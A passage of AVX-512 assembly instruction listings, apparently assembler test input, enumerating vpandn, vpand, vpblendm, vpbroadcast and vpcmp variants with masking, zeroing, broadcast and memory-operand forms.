vpandnd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpandnd xmm2{k5}{z}, xmm7, xmm0
vpandnd xmm2{k5}{z}, xmm7, [rbx]
vpandnd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpandnd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpandnd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpandnd ymm16, ymm13, ymm15
vpandnd ymm16, ymm13, [rbx]
vpandnd ymm16, ymm13, [rbx]{1to8}
vpandnd ymm16, ymm13, [rbx+r11*8+256]
vpandnd ymm16, ymm13, [rbx+r11*8-256]
vpandnd ymm16{k5}, ymm13, ymm15
vpandnd ymm16{k5}, ymm13, [rbx]
vpandnd ymm16{k5}, ymm13, [rbx]{1to8}
vpandnd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpandnd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpandnd ymm16{k5}{z}, ymm13, ymm15
vpandnd ymm16{k5}{z}, ymm13, [rbx]
vpandnd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpandnd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpandnd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpandnd zmm24, zmm24, zmm31
vpandnd zmm24, zmm24, [rbx]
vpandnd zmm24, zmm24, [rbx]{1to16}
vpandnd zmm24, zmm24, [rbx+r11*8+256]
vpandnd zmm24, zmm24, [rbx+r11*8-256]
vpandnd zmm24{k5}, zmm24, zmm31
vpandnd zmm24{k5}, zmm24, [rbx]
vpandnd zmm24{k5}, zmm24, [rbx]{1to16}
vpandnd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpandnd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpandnd zmm24{k5}{z}, zmm24, zmm31
vpandnd zmm24{k5}{z}, zmm24, [rbx]
vpandnd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpandnd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpandnd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpandnq xmm2, xmm7, xmm0
vpandnq xmm2, xmm7, [rbx]
vpandnq xmm2, xmm7, [rbx]{1to2}
vpandnq xmm2, xmm7, [rbx+r11*8+256]
vpandnq xmm2, xmm7, [rbx+r11*8-256]
vpandnq xmm2{k5}, xmm7, xmm0
vpandnq xmm2{k5}, xmm7, [rbx]
vpandnq xmm2{k5}, xmm7, [rbx]{1to2}
vpandnq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpandnq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpandnq xmm2{k5}{z}, xmm7, xmm0
vpandnq xmm2{k5}{z}, xmm7, [rbx]
vpandnq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpandnq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpandnq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpandnq ymm16, ymm13, ymm15
vpandnq ymm16, ymm13, [rbx]
vpandnq ymm16, ymm13, [rbx]{1to4}
vpandnq ymm16, ymm13, [rbx+r11*8+256]
vpandnq ymm16, ymm13, [rbx+r11*8-256]
vpandnq ymm16{k5}, ymm13, ymm15
vpandnq ymm16{k5}, ymm13, [rbx]
vpandnq ymm16{k5}, ymm13, [rbx]{1to4}
vpandnq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpandnq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpandnq ymm16{k5}{z}, ymm13, ymm15
vpandnq ymm16{k5}{z}, ymm13, [rbx]
vpandnq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpandnq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpandnq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpandnq zmm24, zmm24, zmm31
vpandnq zmm24, zmm24, [rbx]
vpandnq zmm24, zmm24, [rbx]{1to8}
vpandnq zmm24, zmm24, [rbx+r11*8+256]
vpandnq zmm24, zmm24, [rbx+r11*8-256]
vpandnq zmm24{k5}, zmm24, zmm31
vpandnq zmm24{k5}, zmm24, [rbx]
vpandnq zmm24{k5}, zmm24, [rbx]{1to8}
vpandnq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpandnq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpandnq zmm24{k5}{z}, zmm24, zmm31
vpandnq zmm24{k5}{z}, zmm24, [rbx]
vpandnq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpandnq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpandnq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpandq xmm2, xmm7, xmm0
vpandq xmm2, xmm7, [rbx]
vpandq xmm2, xmm7, [rbx]{1to2}
vpandq xmm2, xmm7, [rbx+r11*8+256]
vpandq xmm2, xmm7, [rbx+r11*8-256]
vpandq xmm2{k5}, xmm7, xmm0
vpandq xmm2{k5}, xmm7, [rbx]
vpandq xmm2{k5}, xmm7, [rbx]{1to2}
vpandq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpandq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpandq xmm2{k5}{z}, xmm7, xmm0
vpandq xmm2{k5}{z}, xmm7, [rbx]
vpandq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpandq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpandq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpandq ymm16, ymm13, ymm15
vpandq ymm16, ymm13, [rbx]
vpandq ymm16, ymm13, [rbx]{1to4}
vpandq ymm16, ymm13, [rbx+r11*8+256]
vpandq ymm16, ymm13, [rbx+r11*8-256]
vpandq ymm16{k5}, ymm13, ymm15
vpandq ymm16{k5}, ymm13, [rbx]
vpandq ymm16{k5}, ymm13, [rbx]{1to4}
vpandq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpandq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpandq ymm16{k5}{z}, ymm13, ymm15
vpandq ymm16{k5}{z}, ymm13, [rbx]
vpandq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpandq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpandq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpandq zmm24, zmm24, zmm31
vpandq zmm24, zmm24, [rbx]
vpandq zmm24, zmm24, [rbx]{1to8}
vpandq zmm24, zmm24, [rbx+r11*8+256]
vpandq zmm24, zmm24, [rbx+r11*8-256]
vpandq zmm24{k5}, zmm24, zmm31
vpandq zmm24{k5}, zmm24, [rbx]
vpandq zmm24{k5}, zmm24, [rbx]{1to8}
vpandq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpandq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpandq zmm24{k5}{z}, zmm24, zmm31
vpandq zmm24{k5}{z}, zmm24, [rbx]
vpandq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpandq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpandq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpblendmd xmm2, xmm7, xmm0
vpblendmd xmm2, xmm7, [rbx]
vpblendmd xmm2, xmm7, [rbx]{1to4}
vpblendmd xmm2, xmm7, [rbx+r11*8+256]
vpblendmd xmm2, xmm7, [rbx+r11*8-256]
vpblendmd xmm2{k5}, xmm7, xmm0
vpblendmd xmm2{k5}, xmm7, [rbx]
vpblendmd xmm2{k5}, xmm7, [rbx]{1to4}
vpblendmd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpblendmd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpblendmd xmm2{k5}{z}, xmm7, xmm0
vpblendmd xmm2{k5}{z}, xmm7, [rbx]
vpblendmd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpblendmd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpblendmd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpblendmd ymm16, ymm13, ymm15
vpblendmd ymm16, ymm13, [rbx]
vpblendmd ymm16, ymm13, [rbx]{1to8}
vpblendmd ymm16, ymm13, [rbx+r11*8+256]
vpblendmd ymm16, ymm13, [rbx+r11*8-256]
vpblendmd ymm16{k5}, ymm13, ymm15
vpblendmd ymm16{k5}, ymm13, [rbx]
vpblendmd ymm16{k5}, ymm13, [rbx]{1to8}
vpblendmd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpblendmd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpblendmd ymm16{k5}{z}, ymm13, ymm15
vpblendmd ymm16{k5}{z}, ymm13, [rbx]
vpblendmd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpblendmd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpblendmd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpblendmd zmm24, zmm24, zmm31
vpblendmd zmm24, zmm24, [rbx]
vpblendmd zmm24, zmm24, [rbx]{1to16}
vpblendmd zmm24, zmm24, [rbx+r11*8+256]
vpblendmd zmm24, zmm24, [rbx+r11*8-256]
vpblendmd zmm24{k5}, zmm24, zmm31
vpblendmd zmm24{k5}, zmm24, [rbx]
vpblendmd zmm24{k5}, zmm24, [rbx]{1to16}
vpblendmd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpblendmd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpblendmd zmm24{k5}{z}, zmm24, zmm31
vpblendmd zmm24{k5}{z}, zmm24, [rbx]
vpblendmd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpblendmd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpblendmd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpblendmq xmm2, xmm7, xmm0
vpblendmq xmm2, xmm7, [rbx]
vpblendmq xmm2, xmm7, [rbx]{1to2}
vpblendmq xmm2, xmm7, [rbx+r11*8+256]
vpblendmq xmm2, xmm7, [rbx+r11*8-256]
vpblendmq xmm2{k5}, xmm7, xmm0
vpblendmq xmm2{k5}, xmm7, [rbx]
vpblendmq xmm2{k5}, xmm7, [rbx]{1to2}
vpblendmq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpblendmq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpblendmq xmm2{k5}{z}, xmm7, xmm0
vpblendmq xmm2{k5}{z}, xmm7, [rbx]
vpblendmq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpblendmq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpblendmq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpblendmq ymm16, ymm13, ymm15
vpblendmq ymm16, ymm13, [rbx]
vpblendmq ymm16, ymm13, [rbx]{1to4}
vpblendmq ymm16, ymm13, [rbx+r11*8+256]
vpblendmq ymm16, ymm13, [rbx+r11*8-256]
vpblendmq ymm16{k5}, ymm13, ymm15
vpblendmq ymm16{k5}, ymm13, [rbx]
vpblendmq ymm16{k5}, ymm13, [rbx]{1to4}
vpblendmq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpblendmq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpblendmq ymm16{k5}{z}, ymm13, ymm15
vpblendmq ymm16{k5}{z}, ymm13, [rbx]
vpblendmq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpblendmq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpblendmq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpblendmq zmm24, zmm24, zmm31
vpblendmq zmm24, zmm24, [rbx]
vpblendmq zmm24, zmm24, [rbx]{1to8}
vpblendmq zmm24, zmm24, [rbx+r11*8+256]
vpblendmq zmm24, zmm24, [rbx+r11*8-256]
vpblendmq zmm24{k5}, zmm24, zmm31
vpblendmq zmm24{k5}, zmm24, [rbx]
vpblendmq zmm24{k5}, zmm24, [rbx]{1to8}
vpblendmq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpblendmq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpblendmq zmm24{k5}{z}, zmm24, zmm31
vpblendmq zmm24{k5}{z}, zmm24, [rbx]
vpblendmq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpblendmq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpblendmq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpbroadcastd xmm2, xmm0
vpbroadcastd xmm2, [rbx]
vpbroadcastd xmm2, [rbx+r11*8+256]
vpbroadcastd xmm2, [rbx+r11*8-256]
vpbroadcastd xmm2{k5}, xmm0
vpbroadcastd xmm2{k5}, [rbx]
vpbroadcastd xmm2{k5}, [rbx+r11*8+256]
vpbroadcastd xmm2{k5}, [rbx+r11*8-256]
vpbroadcastd xmm2{k5}{z}, xmm0
vpbroadcastd xmm2{k5}{z}, [rbx]
vpbroadcastd xmm2{k5}{z}, [rbx+r11*8+256]
vpbroadcastd xmm2{k5}{z}, [rbx+r11*8-256]
vpbroadcastd ymm16, xmm0
vpbroadcastd ymm16, [rbx]
vpbroadcastd ymm16, [rbx+r11*8+256]
vpbroadcastd ymm16, [rbx+r11*8-256]
vpbroadcastd ymm16{k5}, xmm0
vpbroadcastd ymm16{k5}, [rbx]
vpbroadcastd ymm16{k5}, [rbx+r11*8+256]
vpbroadcastd ymm16{k5}, [rbx+r11*8-256]
vpbroadcastd ymm16{k5}{z}, xmm0
vpbroadcastd ymm16{k5}{z}, [rbx]
vpbroadcastd ymm16{k5}{z}, [rbx+r11*8+256]
vpbroadcastd ymm16{k5}{z}, [rbx+r11*8-256]
vpbroadcastd zmm24, xmm0
vpbroadcastd zmm24, [rbx]
vpbroadcastd zmm24, [rbx+r11*8+256]
vpbroadcastd zmm24, [rbx+r11*8-256]
vpbroadcastd zmm24{k5}, xmm0
vpbroadcastd zmm24{k5}, [rbx]
vpbroadcastd zmm24{k5}, [rbx+r11*8+256]
vpbroadcastd zmm24{k5}, [rbx+r11*8-256]
vpbroadcastd zmm24{k5}{z}, xmm0
vpbroadcastd zmm24{k5}{z}, [rbx]
vpbroadcastd zmm24{k5}{z}, [rbx+r11*8+256]
vpbroadcastd zmm24{k5}{z}, [rbx+r11*8-256]
vpbroadcastd xmm2, ecx
vpbroadcastd xmm2{k5}, ecx
vpbroadcastd xmm2{k5}{z}, ecx
vpbroadcastd ymm16, ecx
vpbroadcastd ymm16{k5}, ecx
vpbroadcastd ymm16{k5}{z}, ecx
vpbroadcastd zmm24, ecx
vpbroadcastd zmm24{k5}, ecx
vpbroadcastd zmm24{k5}{z}, ecx
vpbroadcastq xmm2, xmm0
vpbroadcastq xmm2, [rbx]
vpbroadcastq xmm2, [rbx+r11*8+256]
vpbroadcastq xmm2, [rbx+r11*8-256]
vpbroadcastq xmm2{k5}, xmm0
vpbroadcastq xmm2{k5}, [rbx]
vpbroadcastq xmm2{k5}, [rbx+r11*8+256]
vpbroadcastq xmm2{k5}, [rbx+r11*8-256]
vpbroadcastq xmm2{k5}{z}, xmm0
vpbroadcastq xmm2{k5}{z}, [rbx]
vpbroadcastq xmm2{k5}{z}, [rbx+r11*8+256]
vpbroadcastq xmm2{k5}{z}, [rbx+r11*8-256]
vpbroadcastq ymm16, xmm0
vpbroadcastq ymm16, [rbx]
vpbroadcastq ymm16, [rbx+r11*8+256]
vpbroadcastq ymm16, [rbx+r11*8-256]
vpbroadcastq ymm16{k5}, xmm0
vpbroadcastq ymm16{k5}, [rbx]
vpbroadcastq ymm16{k5}, [rbx+r11*8+256]
vpbroadcastq ymm16{k5}, [rbx+r11*8-256]
vpbroadcastq ymm16{k5}{z}, xmm0
vpbroadcastq ymm16{k5}{z}, [rbx]
vpbroadcastq ymm16{k5}{z}, [rbx+r11*8+256]
vpbroadcastq ymm16{k5}{z}, [rbx+r11*8-256]
vpbroadcastq zmm24, xmm0
vpbroadcastq zmm24, [rbx]
vpbroadcastq zmm24, [rbx+r11*8+256]
vpbroadcastq zmm24, [rbx+r11*8-256]
vpbroadcastq zmm24{k5}, xmm0
vpbroadcastq zmm24{k5}, [rbx]
vpbroadcastq zmm24{k5}, [rbx+r11*8+256]
vpbroadcastq zmm24{k5}, [rbx+r11*8-256]
vpbroadcastq zmm24{k5}{z}, xmm0
vpbroadcastq zmm24{k5}{z}, [rbx]
vpbroadcastq zmm24{k5}{z}, [rbx+r11*8+256]
vpbroadcastq zmm24{k5}{z}, [rbx+r11*8-256]
vpbroadcastq xmm2, rcx
vpbroadcastq xmm2{k5}, rcx
vpbroadcastq xmm2{k5}{z}, rcx
vpbroadcastq ymm16, rcx
vpbroadcastq ymm16{k5}, rcx
vpbroadcastq ymm16{k5}{z}, rcx
vpbroadcastq zmm24, rcx
vpbroadcastq zmm24{k5}, rcx
vpbroadcastq zmm24{k5}{z}, rcx
vpcmpd k3, xmm7, xmm0, 10
vpcmpd k3, xmm7, [rbx], 10
vpcmpd k3, xmm7, [rbx]{1to4}, 10
vpcmpd k3, xmm7, [rbx+r11*8+256], 10
vpcmpd k3, xmm7, [rbx+r11*8-256], 10
vpcmpd k3, ymm13, ymm15, 10
vpcmpd k3, ymm13, [rbx], 10
vpcmpd k3, ymm13, [rbx]{1to8}, 10
vpcmpd k3, ymm13, [rbx+r11*8+256], 10
vpcmpd k3, ymm13, [rbx+r11*8-256], 10
vpcmpd k3, zmm24, zmm31, 10
vpcmpd k3, zmm24, [rbx], 10
vpcmpd k3, zmm24, [rbx]{1to16}, 10
vpcmpd k3, zmm24, [rbx+r11*8+256], 10
vpcmpd k3, zmm24, [rbx+r11*8-256], 10
vpcmpd k3{k5}, xmm7, xmm0, 10
vpcmpd k3{k5}, xmm7, [rbx], 10
vpcmpd k3{k5}, xmm7, [rbx]{1to4}, 10
vpcmpd k3{k5}, xmm7, [rbx+r11*8+256], 10
vpcmpd k3{k5}, xmm7, [rbx+r11*8-256], 10
vpcmpd k3{k5}, ymm13, ymm15, 10
vpcmpd k3{k5}, ymm13, [rbx], 10
vpcmpd k3{k5}, ymm13, [rbx]{1to8}, 10
vpcmpd k3{k5}, ymm13, [rbx+r11*8+256], 10
vpcmpd k3{k5}, ymm13, [rbx+r11*8-256], 10
vpcmpd k3{k5}, zmm24, zmm31, 10
vpcmpd k3{k5}, zmm24, [rbx], 10
vpcmpd k3{k5}, zmm24, [rbx]{1to16}, 10
vpcmpd k3{k5}, zmm24, [rbx+r11*8+256], 10
vpcmpd k3{k5}, zmm24, [rbx+r11*8-256], 10
vpcmpeqd k3, xmm7, xmm0
vpcmpeqd k3, xmm7, [rbx]
vpcmpeqd k3, xmm7, [rbx]{1to4}
vpcmpeqd k3, xmm7, [rbx+r11*8+256]
vpcmpeqd k3, xmm7, [rbx+r11*8-256]
vpcmpeqd k3, ymm13, ymm15
vpcmpeqd k3, ymm13, [rbx]
vpcmpeqd k3, ymm13, [rbx]{1to8}
vpcmpeqd k3, ymm13, [rbx+r11*8+256]
vpcmpeqd k3, ymm13, [rbx+r11*8-256]
vpcmpeqd k3, zmm24, zmm31
vpcmpeqd k3, zmm24, [rbx]
vpcmpeqd k3, zmm24, [rbx]{1to16}
vpcmpeqd k3, zmm24, [rbx+r11*8+256]
vpcmpeqd k3, zmm24, [rbx+r11*8-256]
vpcmpeqd k3{k5}, xmm7, xmm0
vpcmpeqd k3{k5}, xmm7, [rbx]
vpcmpeqd k3{k5}, xmm7, [rbx]{1to4}
vpcmpeqd k3{k5}, xmm7, [rbx+r11*8+256]
vpcmpeqd k3{k5}, xmm7, [rbx+r11*8-256]
vpcmpeqd k3{k5}, ymm13, ymm15
vpcmpeqd k3{k5}, ymm13, [rbx]
vpcmpeqd k3{k5}, ymm13, [rbx]{1to8}
vpcmpeqd k3{k5}, ymm13, [rbx+r11*8+256]
vpcmpeqd k3{k5}, ymm13, [rbx+r11*8-256]
vpcmpeqd k3{k5}, zmm24, zmm31
vpcmpeqd k3{k5}, zmm24, [rbx]
vpcmpeqd k3{k5}, zmm24, [rbx]{1to16}
vpcmpeqd k3{k5}, zmm24, [rbx+r11*8+256]
vpcmpeqd k3{k5}, zmm24, [rbx+r11*8-256]
vpcmpeqq k3, xmm7, xmm0
vpcmpeqq k3, xmm7, [rbx]
vpcmpeqq k3, xmm7, [rbx]{1to2}
vpcmpeqq k3, xmm7, [rbx+r11*8+256]
vpcmpeqq k3, xmm7, [rbx+r11*8-256]
vpcmpeqq k3, ymm13, ymm15
vpcmpeqq k3, ymm13, [rbx]
vpcmpeqq k3, ymm13, [rbx]{1to4}
vpcmpeqq k3, ymm13, [rbx+r11*8+256]
vpcmpeqq k3, ymm13, [rbx+r11*8-256]
vpcmpeqq k3, zmm24, zmm31
vpcmpeqq k3, zmm24, [rbx]
vpcmpeqq k3, zmm24, [rbx]{1to8}
vpcmpeqq k3, zmm24, [rbx+r11*8+256]
vpcmpeqq k3, zmm24, [rbx+r11*8-256]
vpcmpeqq k3{k5}, xmm7, xmm0
vpcmpeqq k3{k5}, xmm7, [rbx]
vpcmpeqq k3{k5}, xmm7, [rbx]{1to2}
vpcmpeqq k3{k5}, xmm7, [rbx+r11*8+256]
vpcmpeqq k3{k5}, xmm7, [rbx+r11*8-256]
vpcmpeqq k3{k5}, ymm13, ymm15
vpcmpeqq k3{k5}, ymm13, [rbx]
vpcmpeqq k3{k5}, ymm13, [rbx]{1to4}
vpcmpeqq k3{k5}, ymm13, [rbx+r11*8+256]
vpcmpeqq k3{k5}, ymm13, [rbx+r11*8-256]
vpcmpeqq k3{k5}, zmm24, zmm31
vpcmpeqq k3{k5}, zmm24, [rbx]
vpcmpeqq k3{k5}, zmm24, [rbx]{1to8}
vpcmpeqq k3{k5}, zmm24, [rbx+r11*8+256]
vpcmpeqq k3{k5}, zmm24, [rbx+r11*8-256]
vpcmpgtd k3, xmm7, xmm0
vpcmpgtd k3, xmm7, [rbx]
vpcmpgtd k3, xmm7, [rbx]{1to4}
vpcmpgtd k3, xmm7, [rbx+r11*8+256]
vpcmpgtd k3, xmm7, [rbx+r11*8-256]
vpcmpgtd k3, ymm13, ymm15
vpcmpgtd k3, ymm13, [rbx]
vpcmpgtd k3, ymm13, [rbx]{1to8}
vpcmpgtd k3, ymm13, [rbx+r11*8+256]
vpcmpgtd k3, ymm13, [rbx+r11*8-256]
vpcmpgtd k3, zmm24, zmm31
vpcmpgtd k3, zmm24, [rbx]
vpcmpgtd k3, zmm24, [rbx]{1to16}
vpcmpgtd k3, zmm24, [rbx+r11*8+256]
vpcmpgtd k3, zmm24, [rbx+r11*8-256]
vpcmpgtd k3{k5}, xmm7, xmm0
vpcmpgtd k3{k5}, xmm7, [rbx]
vpcmpgtd k3{k5}, xmm7, [rbx]{1to4}
vpcmpgtd k3{k5}, xmm7, [rbx+r11*8+256]
vpcmpgtd k3{k5}, xmm7, [rbx+r11*8-256]
vpcmpgtd k3{k5}, ymm13, ymm15
vpcmpgtd k3{k5}, ymm13, [rbx]
vpcmpgtd k3{k5}, ymm13, [rbx]{1to8}
vpcmpgtd k3{k5}, ymm13, [rbx+r11*8+256]
vpcmpgtd k3{k5}, ymm13, [rbx+r11*8-256]
vpcmpgtd k3{k5}, zmm24, zmm31
vpcmpgtd k3{k5}, zmm24, [rbx]
vpcmpgtd k3{k5}, zmm24, [rbx]{1to16}
vpcmpgtd k3{k5}, zmm24, [rbx+r11*8+256]
vpcmpgtd k3{k5}, zmm24, [rbx+r11*8-256]
vpcmpgtq k3, xmm7, xmm0
vpcmpgtq k3, xmm7, [rbx]
vpcmpgtq k3, xmm7, [rbx]{1to2}
vpcmpgtq k3, xmm7, [rbx+r11*8+256]
vpcmpgtq k3, xmm7, [rbx+r11*8-256]
vpcmpgtq k3, ymm13, ymm15
vpcmpgtq k3, ymm13, [rbx]
vpcmpgtq k3, ymm13, [rbx]{1to4}
vpcmpgtq k3, ymm13, [rbx+r11*8+256]
vpcmpgtq k3, ymm13, [rbx+r11*8-256]
vpcmpgtq k3, zmm24, zmm31
vpcmpgtq k3, zmm24, [rbx]
vpcmpgtq k3, zmm24, [rbx]{1to8}
vpcmpgtq k3, zmm24, [rbx+r11*8+256]
vpcmpgtq k3, zmm24, [rbx+r11*8-256]
vpcmpgtq k3{k5}, xmm7, xmm0
vpcmpgtq k3{k5}, xmm7, [rbx]
vpcmpgtq k3{k5}, xmm7, [rbx]{1to2}
vpcmpgtq k3{k5}, xmm7, [rbx+r11*8+256]
vpcmpgtq k3{k5}, xmm7, [rbx+r11*8-256]
vpcmpgtq k3{k5}, ymm13, ymm15
vpcmpgtq k3{k5}, ymm13, [rbx]
vpcmpgtq k3{k5}, ymm13, [rbx]{1to4}
vpcmpgtq k3{k5}, ymm13, [rbx+r11*8+256]
vpcmpgtq k3{k5}, ymm13, [rbx+r11*8-256]
vpcmpgtq k3{k5}, zmm24, zmm31
vpcmpgtq k3{k5}, zmm24, [rbx]
vpcmpgtq k3{k5}, zmm24, [rbx]{1to8}
vpcmpgtq k3{k5}, zmm24, [rbx+r11*8+256]
vpcmpgtq k3{k5}, zmm24, [rbx+r11*8-256]
vpcmpq k3, xmm7, xmm0, 10
vpcmpq k3, xmm7, [rbx], 10
vpcmpq k3, xmm7, [rbx]{1to2}, 10
vpcmpq k3, xmm7, [rbx+r11*8+256], 10
vpcmpq k3, xmm7, [rbx+r11*8-256], 10
vpcmpq k3, ymm13, ymm15, 10
vpcmpq k3, ymm13, [rbx], 10
vpcmpq k3, ymm13, [rbx]{1to4}, 10
vpcmpq k3, ymm13, [rbx+r11*8+256], 10
vpcmpq k3, ymm13, [rbx+r11*8-256], 10
vpcmpq k3, zmm24, zmm31, 10
vpcmpq k3, zmm24, [rbx], 10
vpcmpq k3, zmm24, [rbx]{1to8}, 10
vpcmpq k3, zmm24, [rbx+r11*8+256], 10
vpcmpq k3, zmm24, [rbx+r11*8-256], 10
vpcmpq k3{k5}, xmm7, xmm0, 10
vpcmpq k3{k5}, xmm7, [rbx], 10
vpcmpq k3{k5}, xmm7, [rbx]{1to2}, 10
vpcmpq k3{k5}, xmm7, [rbx+r11*8+256], 10
vpcmpq k3{k5}, xmm7, [rbx+r11*8-256], 10
vpcmpq k3{k5}, ymm13, ymm15, 10
vpcmpq k3{k5}, ymm13, [rbx], 10
vpcmpq k3{k5}, ymm13, [rbx]{1to4}, 10
vpcmpq k3{k5}, ymm13, [rbx+r11*8+256], 10
vpcmpq k3{k5}, ymm13, [rbx+r11*8-256], 10
vpcmpq k3{k5}, zmm24, zmm31, 10
vpcmpq k3{k5}, zmm24, [rbx], 10
vpcmpq k3{k5}, zmm24, [rbx]{1to8}, 10
vpcmpq k3{k5}, zmm24, [rbx+r11*8+256], 10
vpcmpq k3{k5}, zmm24, [rbx+r11*8-256], 10
vpcmpud k3, xmm7, xmm0, 10
vpcmpud k3, xmm7, [rbx], 10
vpcmpud k3, xmm7, [rbx]{1to4}, 10
vpcmpud k3, xmm7, [rbx+r11*8+256], 10
vpcmpud k3, xmm7, [rbx+r11*8-256], 10
vpcmpud k3, ymm13, ymm15, 10
vpcmpud k3, ymm13, [rbx], 10
vpcmpud k3, ymm13, [rbx]{1to8}, 10
vpcmpud k3, ymm13, [rbx+r11*8+256], 10
vpcmpud k3, ymm13, [rbx+r11*8-256], 10
vpcmpud k3, zmm24, zmm31, 10
vpcmpud k3, zmm24, [rbx], 10
vpcmpud k3, zmm24, [rbx]{1to16}, 10
vpcmpud k3, zmm24, [rbx+r11*8+256], 10
vpcmpud k3, zmm24, [rbx+r11*8-256], 10
vpcmpud k3{k5}, xmm7, xmm0, 10
vpcmpud k3{k5}, xmm7, [rbx], 10
vpcmpud k3{k5}, xmm7, [rbx]{1to4}, 10
vpcmpud k3{k5}, xmm7, [rbx+r11*8+256], 10
vpcmpud k3{k5}, xmm7, [rbx+r11*8-256], 10
vpcmpud k3{k5}, ymm13, ymm15, 10
vpcmpud k3{k5}, ymm13, [rbx], 10
vpcmpud k3{k5}, ymm13, [rbx]{1to8}, 10
vpcmpud k3{k5}, ymm13, [rbx+r11*8+256], 10
vpcmpud k3{k5}, ymm13, [rbx+r11*8-256], 10
vpcmpud k3{k5}, zmm24, zmm31, 10
vpcmpud k3{k5}, zmm24, [rbx], 10
vpcmpud k3{k5}, zmm24, [rbx]{1to16}, 10
vpcmpud k3{k5}, zmm24, [rbx+r11*8+256], 10
vpcmpud k3{k5}, zmm24, [rbx+r11*8-256], 10
vpcmpuq k3, xmm7, xmm0, 10
vpcmpuq k3, xmm7, [rbx], 10
vpcmpuq k3, xmm7, [rbx]{1to2}, 10
vpcmpuq k3, xmm7, [rbx+r11*8+256], 10
vpcmpuq k3, xmm7, [rbx+r11*8-256], 10
vpcmpuq k3, ymm13, ymm15, 10
vpcmpuq k3, ymm13, [rbx], 10
vpcmpuq k3, ymm13, [rbx]{1to4}, 10
vpcmpuq k3, ymm13, [rbx+r11*8+256], 10
vpcmpuq k3, ymm13, [rbx+r11*8-256], 10
vpcmpuq k3, zmm24, zmm31, 10
vpcmpuq k3, zmm24, [rbx], 10
vpcmpuq k3, zmm24, [rbx]{1to8}, 10
vpcmpuq k3, zmm24, [rbx+r11*8+256], 10
vpcmpuq k3, zmm24, [rbx+r11*8-256], 10
vpcmpuq k3{k5}, xmm7, xmm0, 10
vpcmpuq k3{k5}, xmm7, [rbx], 10
vpcmpuq k3{k5}, xmm7, [rbx]{1to2}, 10
vpcmpuq k3{k5}, xmm7, [rbx+r11*8+256], 10
vpcmpuq k3{k5}, xmm7, [rbx+r11*8-256], 10
vpcmpuq k3{k5}, ymm13, ymm15, 10
vpcmpuq k3{k5}, ymm13, [rbx], 10
vpcmpuq k3{k5}, ymm13, [rbx]{1to4}, 10
vpcmpuq k3{k5}, ymm13, [rbx+r11*8+256], 10
vpcmpuq k3{k5}, ymm13, [rbx+r11*8-256], 10
vpcmpuq k3{k5}, zmm24, zmm31, 10
